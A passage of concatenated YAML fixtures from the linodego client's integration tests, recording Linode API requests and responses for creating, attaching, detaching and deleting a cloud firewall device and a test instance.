Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:09:29 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/events/615701642 method: GET response: body: '{"id": 615701642, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 12.0, "action": "disk_delete", "username": "lgarber-dev", "entity": {"label": "go-ins-poll-test", "id": 53282734, "type": "linode", "url": "/v4/linode/instances/53282734"}, "status": "finished", "secondary_entity": {"id": 105633090, "type": "disk", "label": "deleteEvent-1", "url": "/v4/linode/instances/53282734/disks/105633090"}, "message": ""}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "500" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:09:29 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/53282734 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:09:29 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestFirewallDevice_Delete.yaml000066400000000000000000000644671455402072200324670ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-215ggi3ie4s5","root_pass":"R34lBAdP455LONGLONGLONGLONG","image":"linode/debian9","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 49708342, "label": "go-test-ins-215ggi3ie4s5", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.4.232"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "da6015ef4054692cf89857eb70184aa148287a2c", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "741" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 228231, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "526" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"id":49708342,"type":"linode"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/228231/devices method: POST response: body: '{"id": 485841, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "entity": {"id": 49708342, "type": "linode", "label": "go-test-ins-215ggi3ie4s5", "url": "/v4/linode/instances/49708342"}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "205" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/228231/devices/485841 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/228231/devices/485841 method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store Content-Length: - "37" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 404 Not Found code: 404 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/228231 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/49708342 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestFirewallDevice_Get.yaml000066400000000000000000000630551455402072200317740ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 